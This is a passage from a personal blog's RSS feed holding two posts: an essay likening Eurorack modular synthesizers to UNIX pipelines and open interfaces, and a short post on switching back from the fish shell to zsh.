      <description>&lt;p&gt;I&amp;rsquo;ve always loved strange and interesting music and sounds.&#xA;For the last few months, I&amp;rsquo;ve been assembling a collection of patch cables&#xA;and circuit boards on my desk which, when connected just right,&#xA;can create anything from melodic sequences to fast, driving beats to&#xA;wacky electronic soundscapes.&lt;/p&gt;&#xA;&lt;iframe style=&#34;border: 0; width: 100%; height: 120px;&#34; src=&#34;https://bandcamp.com/EmbeddedPlayer/track=4151351049/size=large/bgcol=ffffff/linkcol=0687f5/tracklist=false/artwork=small/transparent=true/&#34; seamless&gt;&lt;a href=&#34;http://daughter-of-eris.bandcamp.com/track/mescaline-at-the-theme-park&#34;&gt;Mescaline at the Theme Park by Daughter of Eris&lt;/a&gt;&lt;/iframe&gt;&#xA;&lt;p&gt;This is a &lt;strong&gt;modular synthesizer&lt;/strong&gt; in the Eurorack format.&#xA;Eurorack is a &lt;a href=&#34;http://www.doepfer.de/a100_man/a100t_e.htm&#34;&gt;de-facto standard&lt;/a&gt;&#xA;created by German synthesizer manufacturer Doepfer designed around the concept of&#xA;voltage control. Levels of voltage between 10 and -10 volts, or changes in voltage,&#xA;represent and control everything:&#xA;audio, pitch, speed, slope,&#xA;and even &lt;a href=&#34;https://www.modulargrid.net/e/doepfer-a-197-3-rgb-led-controller&#34;&gt;color&lt;/a&gt;.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I&amp;rsquo;ve always loved strange and interesting music and sounds.&#xA;For the last few months, I&amp;rsquo;ve been assembling a collection of patch cables&#xA;and circuit boards on my desk which, when connected just right,&#xA;can create anything from melodic sequences to fast, driving beats to&#xA;wacky electronic soundscapes.&lt;/p&gt;&#xA;&lt;iframe style=&#34;border: 0; width: 100%; height: 120px;&#34; src=&#34;https://bandcamp.com/EmbeddedPlayer/track=4151351049/size=large/bgcol=ffffff/linkcol=0687f5/tracklist=false/artwork=small/transparent=true/&#34; seamless&gt;&lt;a href=&#34;http://daughter-of-eris.bandcamp.com/track/mescaline-at-the-theme-park&#34;&gt;Mescaline at the Theme Park by Daughter of Eris&lt;/a&gt;&lt;/iframe&gt;&#xA;&lt;p&gt;This is a &lt;strong&gt;modular synthesizer&lt;/strong&gt; in the Eurorack format.&#xA;Eurorack is a &lt;a href=&#34;http://www.doepfer.de/a100_man/a100t_e.htm&#34;&gt;de-facto standard&lt;/a&gt;&#xA;created by German synthesizer manufacturer Doepfer designed around the concept of&#xA;voltage control. Levels of voltage between 10 and -10 volts, or changes in voltage,&#xA;represent and control everything:&#xA;audio, pitch, speed, slope,&#xA;and even &lt;a href=&#34;https://www.modulargrid.net/e/doepfer-a-197-3-rgb-led-controller&#34;&gt;color&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;a href=&#34;./images/synth/side-shot.webp&#34;&gt;&lt;img src=&#34;./images/synth/side-shot.webp.thumb&#34; alt=&#34;My synthesizer shot from an &amp;ldquo;aesthetic&amp;rdquo; angle.&#34;&gt;&lt;/a&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;As I learn more about Eurorack and the modular ecosystem, it reminds me more and more&#xA;of the magical feeling of working with UNIX tools:&#xA;it is a world that exchanges programs for filters, oscillators, and VCAs,&#xA;text for voltage, and pipes for patch cables.&lt;/p&gt;&#xA;&lt;h2 id=&#34;text-audio-and-control-voltage&#34;&gt;Text, Audio, and Control Voltage&lt;/h2&gt;&#xA;&lt;p&gt;We&amp;rsquo;re all used to voltage representing audio.&#xA;An &amp;ldquo;AUX cord&amp;rdquo;, correctly called a 3.5mm TRS (tip, ring, and sleeve)&#xA;stereo cable&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;,&#xA;carries two channels of voltage and a common ground between audio devices through&#xA;a nearly universal&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; standard.&#xA;For audio signals, this voltage jumps between a maximum and minimum voltage.&#xA;Its value over time is eventually turned into the movement of a speaker or&#xA;headphone diaphragm, which in turn moves the air and can be heard.&lt;/p&gt;&#xA;&lt;p&gt;In modular synthesis, though, these analog signals don&amp;rsquo;t just represent the&#xA;movements of air that our ears hear as audio.&#xA;We also use them to control other parameters: pitch, for example.&#xA;Like the text streams that UNIX tools use to move around data and text,&#xA;or the JSON payloads that power a huge portion of the modern web,&#xA;voltage-based communication is simple and versatile.&lt;/p&gt;&#xA;&lt;figure class=&#34;left&#34;&gt;&#xA;    &lt;p&gt;&lt;img src=&#34;./images/synth/control-voltage.webp&#34; alt=&#34;A module in my synthesizer displaying the changes in control voltage representing&#xA;pitch&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The micro-Ornament and Crime module displaying changing pitch values,&#xA;as represented by the voltage coming into its CV1 input.&lt;/p&gt;&#xA;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;These voltages are, by their nature, analog -&#xA;there are infinitely many values between C4 and D4, or even between C4 and C#4.&#xA;Among other things, this means that complex microtonal music is not just possible,&#xA;but just as easy for the hardware to produce as music in any Western scale.&lt;/p&gt;&#xA;&lt;p&gt;Text, of course, isn&amp;rsquo;t analog, but it does have similar characteristics.&#xA;It&amp;rsquo;s not always easy to parse or generate exactly the right text,&#xA;but with enough information, it&amp;rsquo;s always possible to interoperate with something&#xA;that uses a text interface, or even JSON structured data.&lt;/p&gt;&#xA;&lt;h2 id=&#34;oscillators-filters-grep-and-awk&#34;&gt;Oscillators, Filters, &lt;code&gt;grep&lt;/code&gt;, and &lt;code&gt;awk&lt;/code&gt;&lt;/h2&gt;&#xA;&lt;p&gt;The traditional synthesizer, as invented by Bob Moog and co., produces sound&#xA;through a so-called &lt;strong&gt;subtractive&lt;/strong&gt; process.&#xA;Sound, some kind of complex wave-form, is produced by an &lt;strong&gt;oscillator&lt;/strong&gt;,&#xA;according to control voltage representing pitch.&#xA;That waveform, which has lots of harmonics, is put through an amplifier&#xA;which turns the sound on when a note is being played, and off when it is not,&#xA;and through a filter, which removes some harmonics and emphasizes others.&lt;/p&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;p&gt;&lt;a href=&#34;./images/synth/threshold.webp&#34;&gt;&lt;img src=&#34;./images/synth/threshold.webp.thumb&#34; alt=&#34;A Threshold module, outside of the synthesizer.&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Just one module, removed from my synthesizer.&#xA;This is a four-oscillator retro digital voice, which produces three channels of&#xA;square waves and one &amp;ldquo;complex&amp;rdquo; waveform (noise, stepped triangle, etc.)&lt;/p&gt;&#xA;&lt;p&gt;Each voice has four voltage inputs and one output, along with two buttons&#xA;and two knobs. The module also provides a &amp;ldquo;mixed&amp;rdquo; output.&lt;/p&gt;&#xA;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;Of course, this is not so different from a standard UNIX log mangling pipeline,&#xA;where &lt;code&gt;cat&lt;/code&gt; grabs some output from a file, &lt;code&gt;awk&lt;/code&gt; formats it in some easy-to-work-with&#xA;way, &lt;code&gt;grep&lt;/code&gt; cuts out irrelevant information, and &lt;code&gt;head&lt;/code&gt;, &lt;code&gt;tail&lt;/code&gt;, or a second &lt;code&gt;awk&lt;/code&gt;&#xA;invocation formats the output.&#xA;This is the versatility of universal, standard interfaces like text, JSON, or voltage;&#xA;each tool does what it does, and interoperates cleanly with all the others.&lt;/p&gt;&#xA;&lt;h2 id=&#34;envelopes-signal-flow-and-mkfifo&#34;&gt;Envelopes, Signal Flow, and &lt;code&gt;mkfifo&lt;/code&gt;&lt;/h2&gt;&#xA;&lt;p&gt;In my rack, I have a simple signal flow mapped out by the sequence of modules.&#xA;My &lt;a href=&#34;https://winterbloom.com/store/winterbloom-sol&#34;&gt;Winterbloom Sol&lt;/a&gt; turns digital&#xA;signals into control voltage.&#xA;The &lt;a href=&#34;https://mutable-instruments.net/modules/kinks/&#34;&gt;Kinks&lt;/a&gt;,&#xA;&lt;a href=&#34;https://pushermanproductions.com/product/jakplugg-open-source-pique-4hp-peaks-pcb-fr4-panel/&#34;&gt;Pique&lt;/a&gt;&#xA;and &lt;a href=&#34;https://ornament-and-cri.me/&#34;&gt;Ornament and Crime&lt;/a&gt; modules shape that CV.&#xA;Then come two oscillators, a filter, a set of amplifiers, and some effects.&lt;/p&gt;&#xA;&lt;p&gt;But that&amp;rsquo;s not necessarily the order I actually patch the signal chain.&lt;/p&gt;&#xA;&lt;p&gt;Most synths have an &amp;ldquo;envelope&amp;rdquo; control, sometimes controlling the level of a signal,&#xA;and sometimes controlling a filter.&#xA;The magic of modular is that each of those components is discrete.&#xA;One module generates control voltage every time a note is played.&#xA;Another module (a &lt;strong&gt;voltage controlled amplifier&lt;/strong&gt; or VCA) uses that control voltage&#xA;to change the volume of the note,&#xA;turning a rising voltage into attack and falling voltage into decay.&#xA;A third  module (a &lt;strong&gt;voltage controlled filter&lt;/strong&gt;) uses that control voltage to change&#xA;the harmonic content of the sound. Just by moving a cable from the &amp;ldquo;FM&amp;rdquo; input to the&#xA;&amp;ldquo;Q&amp;rdquo; input, that filter can go from subtracting harmonics to emphasizing them,&#xA;or maybe both!&lt;/p&gt;&#xA;&lt;p&gt;This is the flexibility of modular synthesis.&#xA;Every signal exists within a constrained realm, and every module manufacturer&#xA;knows what their interface should expect.&#xA;Each module does some transformation - in a sense, every module represents&#xA;a mathematical funtion, transforming voltage-over-time and knob positions&#xA;into voltage-over-time, which can itself be transformed by further modules.&lt;/p&gt;&#xA;&lt;p&gt;This is not something we see often in UNIX programming - but it is possible!&#xA;With &lt;code&gt;mkfifo&lt;/code&gt;, we can create more complex data flows and unique ways of moving&#xA;information around, using multiple FIFOs as input and output files.&#xA;In web systems, this kind of many-way connection is very common;&#xA;even relatively simple systems like If This Then That allow users to create&#xA;long, wide, branching data flows, and even flows that contain cycles.&#xA;Ideally, each program or API does work like a mathematical function,&#xA;taking command line arguments and input and transforming them into&#xA;output and perhaps some side effects, like making a Mastodon post or&#xA;writing to disk or a database.&lt;/p&gt;&#xA;&lt;h2 id=&#34;modularity-open-source-and-market-forces&#34;&gt;Modularity, Open Source, and Market Forces&lt;/h2&gt;&#xA;&lt;p&gt;In the forward to  &lt;em&gt;The UNIX Time-Sharing System&lt;/em&gt;&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;,&#xA;the seminal 1978 paper on UNIX, Doug McIlroy articulates the philosophy of modularity&#xA;thus:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make each program do one thing well. To do a new job, build afresh.&lt;/li&gt;&#xA;&lt;li&gt;Expect the output of every program to become the input of another, unknown,&#xA;program.&lt;/li&gt;&#xA;&lt;li&gt;Design and build software [&amp;hellip;] to be tried early, ideally within weeks. &lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;These are the same values that motivate the design of the best Eurorack modules.&#xA;Each module is easy to experiment with, designed to accomplish one or a few tasks,&#xA;explicitly built to integrate with other modules, and well-documented.&lt;/p&gt;&#xA;&lt;p&gt;Eurorack&amp;rsquo;s modularity works well because there is no incentive to lock in users -&#xA;indeed, there is a significant disincentive, since no one small company&#xA;could ever hope to produce a universal product line.&#xA;Building modules that work well in as many systems as possible is the best way&#xA;to maximize sales.&lt;/p&gt;&#xA;&lt;figure class=&#34;left&#34;&gt;&#xA;    &lt;p&gt;&lt;a href=&#34;./images/synth/front-shot.webp&#34;&gt;&lt;img src=&#34;./images/synth/front-shot.webp.thumb&#34; alt=&#34;A front-on shot of my case, along with my Beatstep Pro controller&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My whole synthesizer is controlled by this Beatstep Pro, and optionally by Linux&#xA;software like 100r ORCA.&lt;/p&gt;&#xA;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;Indeed, even in the cases where larger companies (like Intellijel) have tried to&#xA;invent their own standards to get at least some degree of lock-in revenue,&#xA;the size of the market limits the effectiveness of that strategy.&#xA;Their smaller, 1U form factor has been widely adopted, and there are now nearly&#xA;a dozen small manufacturers making compatible modules.&lt;/p&gt;&#xA;&lt;p&gt;We, as software engineers, should strive to build software that is amenable to&#xA;interoperability, because that is the most effective way to support creativity.&#xA;Documented, open, and capable APIs are good, if your software must be centralized;&#xA;federation through open protocols is even better.&lt;/p&gt;&#xA;&lt;p&gt;Critically, your interface does not need to be optimal.&#xA;Control voltage in 1v/Oct certainly isn&amp;rsquo;t; it requires difficult and imprecise&#xA;exponential conversion circuits, or slow and expensive floating point computations.&#xA;Consider, for instance, ActivityPub and the Mastodon ecosystem.&#xA;Eugen Rochko could have easily stuck with OStatus, which does have some advantages,&#xA;but the Mastodon project&amp;rsquo;s move to ActivityPub catalzyed an entire ecosystem,&#xA;with dozens of other microblogging products, as well as blogs, video sharing,&#xA;music sharing, and photo sharing software springing up, all able to interoperate&#xA;at least somewhat.&lt;/p&gt;&#xA;&lt;p&gt;Modularity also promotes longevity.&#xA;The predecessor to &lt;code&gt;ls&lt;/code&gt; was written in 1961&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;; the GNU &lt;code&gt;find&lt;/code&gt; command has&#xA;history as far back as 1987&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;. These programs are so deeply embedded in the brain&#xA;stem of computing that building a modern server operating system without something&#xA;compatible is nearly unthinkable.&lt;/p&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;p&gt;&lt;a href=&#34;./images/synth/open-source.webp&#34;&gt;&lt;img src=&#34;./images/synth/open-source.webp.thumb&#34; alt=&#34;Another side shot of my synthesizer.&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Every module in this photograph is open source - software and hardware.&lt;/p&gt;&#xA;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;I should also point out that, while free and open source software is,&#xA;in my opinion, a moral good,&#xA;software freedom and open protocols/interfaces are tangential concerns.&#xA;While many Eurorack modules are open source, some of the most popular are not;&#xA;for example, Make Noise&amp;rsquo;s analog computer Maths is not an open source design,&#xA;but it is the heart of many modular systems because it integrates well into&#xA;the ecosystem and has a clearly documented and well-specified interface.&lt;/p&gt;&#xA;&lt;p&gt;Amazon&amp;rsquo;s Simple Storage Service, for instance, is a proprietary service with an open&#xA;protocol, and it is hugely successful - so much so that many projects have sprung up&#xA;to implement its interface, and a huge volume of cloud software is designed to work&#xA;with &amp;ldquo;S3 - and other stuff that works the same.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Modularity is the most direct path to innovation. As software engineers,&#xA;we should do our absolute best, both technically and politically, to build&#xA;programs that do one thing well,&#xA;programs that can be tried early,&#xA;and programs that work well together.&#xA;Anything else guarantees stagnation, lock-in, frustration, and eventual obscurity.&lt;/p&gt;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;In Eurorack, most connections are made with mono,&#xA;rather than stereo, cables,&#xA;which are called TS (tip and sleeve) as they omit the additional contact for a&#xA;second audio channel.&#xA;Anyone who plays guitar will be familiar with TS cables,&#xA;though probably in the 1/4th inch / 7mm format used by amplifiers and lots of other&#xA;audio equipment.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&#xA;&lt;p&gt;Thanks, Apple and Samsung, for doing your damndest to kill it.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://archive.org/details/bstj57-6-1899/page/n3/mode/2up&#34;&gt;https://archive.org/details/bstj57-6-1899/page/n3/mode/2up&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:4&#34;&gt;&#xA;&lt;p&gt;Yes, McIlroy prefigured &amp;ldquo;agile&amp;rdquo; development in 1978. Agile development is,&#xA;so to speak, not a new development, unless you think of software as proprietary,&#xA;monolithic, and restricted to a priestly class.&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:5&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.tldp.org/LDP/LG/issue48/fischer.html&#34;&gt;https://www.tldp.org/LDP/LG/issue48/fischer.html&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:6&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://git.savannah.gnu.org/cgit/findutils.git/commit/?id=c030b5ee33bbec3c93cddc3ca9ebec14c24dbe07&#34;&gt;https://git.savannah.gnu.org/cgit/findutils.git/commit/?id=c030b5ee33bbec3c93cddc3ca9ebec14c24dbe07&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Back to Zsh</title>
      <link>https://nora.codes/post/back-to-zsh/</link>
      <pubDate>Tue, 14 Jul 2020 09:36:23 -0500</pubDate>
      <guid>https://nora.codes/post/back-to-zsh/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve gone back to using &lt;code&gt;zsh&lt;/code&gt;&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; rather than &lt;code&gt;fish&lt;/code&gt;&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; as my primary shell,&#xA;for the same reason I use Vim over Emacs - &lt;code&gt;zsh&lt;/code&gt; is lightweight, compatible, present,&#xA;and (with Oh My Zsh!&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt; and Starship&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;) very featureful.&lt;/p&gt;&#xA;&lt;p&gt;First of all, &lt;code&gt;zsh&lt;/code&gt; feels snappy.&#xA;To be totally fair to &lt;code&gt;fish&lt;/code&gt;, which is a wonderful project, I did not objectively&#xA;measure this, but subjectively, &lt;code&gt;zsh&lt;/code&gt; starts faster than &lt;code&gt;fish&lt;/code&gt;.&#xA;I tried using &lt;code&gt;zsh&lt;/code&gt; without any extensions for a while,&#xA;but found that a lot of &lt;code&gt;fish&lt;/code&gt; features were missing, and I was a lot less productive.&#xA;In the end, I wound up installing Oh My Zsh! and Starship,&#xA;but even with the added burden of all this code,&#xA;tapping Meta+Enter to pull up a terminal feels snappier with &lt;code&gt;zsh&lt;/code&gt;.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I&amp;rsquo;ve gone back to using &lt;code&gt;zsh&lt;/code&gt;&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; rather than &lt;code&gt;fish&lt;/code&gt;&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; as my primary shell,&#xA;for the same reason I use Vim over Emacs - &lt;code&gt;zsh&lt;/code&gt; is lightweight, compatible, present,&#xA;and (with Oh My Zsh!&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt; and Starship&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;) very featureful.&lt;/p&gt;&#xA;&lt;p&gt;First of all, &lt;code&gt;zsh&lt;/code&gt; feels snappy.&#xA;To be totally fair to &lt;code&gt;fish&lt;/code&gt;, which is a wonderful project, I did not objectively&#xA;measure this, but subjectively, &lt;code&gt;zsh&lt;/code&gt; starts faster than &lt;code&gt;fish&lt;/code&gt;.&#xA;I tried using &lt;code&gt;zsh&lt;/code&gt; without any extensions for a while,&#xA;but found that a lot of &lt;code&gt;fish&lt;/code&gt; features were missing, and I was a lot less productive.&#xA;In the end, I wound up installing Oh My Zsh! and Starship,&#xA;but even with the added burden of all this code,&#xA;tapping Meta+Enter to pull up a terminal feels snappier with &lt;code&gt;zsh&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The big downside of &lt;code&gt;fish&lt;/code&gt; is that it&amp;rsquo;s not anywhere close to POSIX compliant.&#xA;Of course, that&amp;rsquo;s one of its stated goals - to build a &lt;em&gt;new&lt;/em&gt; kind of shell -&#xA;but, nonetheless, it really hampers its utility in a lot of situations.&#xA;While compatibility layers do exist, I found them fiddly at best and hopelessly&#xA;broken at worst.&#xA;&lt;code&gt;zsh&lt;/code&gt;, on the other hand, does a great job running all the &lt;code&gt;bash&lt;/code&gt; and &lt;code&gt;sh&lt;/code&gt; scripts&#xA;and snippets I use to configure machines, most of which I didn&amp;rsquo;t write,&#xA;and some of which have been around for nearly a decade.&lt;/p&gt;&#xA;&lt;p&gt;Of course, it would be possible to take the time to write all of these scripts in&#xA;&lt;code&gt;fish&lt;/code&gt;, or even just port them to nice self-contained shell scripts that can be&#xA;run using the appropriate shell.&#xA;On the other hand, this code is usually run at most once every few months,&#xA;and generally much less.&#xA;As &lt;a href=&#34;https://xkcd.com/1319/&#34;&gt;this excellent comic&lt;/a&gt; demonstrates,&#xA;it&amp;rsquo;s probably not worth my time.&lt;/p&gt;&#xA;&lt;p&gt;Presence is something of the elephant in the room - presence, specifically,&#xA;on Mac OS.&#xA;I&amp;rsquo;m beginning a position with CancerIQ, Inc. tomorrow,&#xA;and their development environment is standardized on Mac OS.&#xA;I&amp;rsquo;ve used Apple&amp;rsquo;s operating system professionally before,&#xA;but that was back when I, and they, were still blissfully unaware that there were&#xA;any alternatives to good old&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt; &lt;code&gt;bash&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;With the introduction of Mac OS Catalina,&#xA;Apple&amp;rsquo;s default shell is now &lt;code&gt;zsh&lt;/code&gt;. &lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;&#xA;This means that, with my GNU &lt;code&gt;stow&lt;/code&gt;-based dotfiles,&lt;sup id=&#34;fnref:7&#34;&gt;&lt;a href=&#34;#fn:7&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;7&lt;/a&gt;&lt;/sup&gt;&#xA;complete environment configuration is one simple &lt;code&gt;git clone&lt;/code&gt; away.&#xA;&lt;code&gt;zsh&lt;/code&gt; is also available on pretty much every Linux system I&amp;rsquo;ve ever used,&#xA;and works alright in WSL.&lt;/p&gt;&#xA;&lt;p&gt;Of course, &lt;code&gt;zsh&lt;/code&gt; is not as featureful as &lt;code&gt;fish&lt;/code&gt; - at least not out of the box.&#xA;With the addition of Oh My Zsh! and Starship, however,&#xA;it&amp;rsquo;s both beautiful and information-dense.&lt;/p&gt;&#xA;&lt;p&gt;For me, case- and hyphen-insensitive tab completion and a context-aware prompt are&#xA;the most critical components of a productive shell environment.&#xA;While Oh My Zsh! can provide both, I prefer Starship&amp;rsquo;s aesthetic and functionality.&#xA;It&amp;rsquo;s also extremely fast, taking only about ten milliseconds to generate a prompt&#xA;in even the most complex environment (&lt;code&gt;git&lt;/code&gt; detached head with multiple language&#xA;environments).&lt;/p&gt;&#xA;&lt;p&gt;While I loved &lt;code&gt;fish&lt;/code&gt;, I feel that &lt;code&gt;zsh&lt;/code&gt; provides most of the features I used while&#xA;being much less in my way - it&amp;rsquo;s a fast, compatible shell that&amp;rsquo;s available where I&#xA;need it and does what I want.&lt;/p&gt;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://zsh.sourceforge.net/&#34;&gt;http://zsh.sourceforge.net/&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://fishshell.com/&#34;&gt;https://fishshell.com/&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://ohmyz.sh/&#34;&gt;https://ohmyz.sh/&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:4&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://starship.rs/&#34;&gt;https://starship.rs/&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:5&#34;&gt;&#xA;&lt;p&gt;In their case, &lt;a href=&#34;https://www.reddit.com/r/bash/comments/393oqv/why_is_the_version_of_bash_included_in_os_x_so_old/&#34;&gt;quite old&lt;/a&gt;.&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:6&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.theverge.com/2019/6/4/18651872/apple-macos-catalina-zsh-bash-shell-replacement-features&#34;&gt;https://www.theverge.com/2019/6/4/18651872/apple-macos-catalina-zsh-bash-shell-replacement-features&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:7&#34;&gt;&#xA;&lt;p&gt;&lt;a 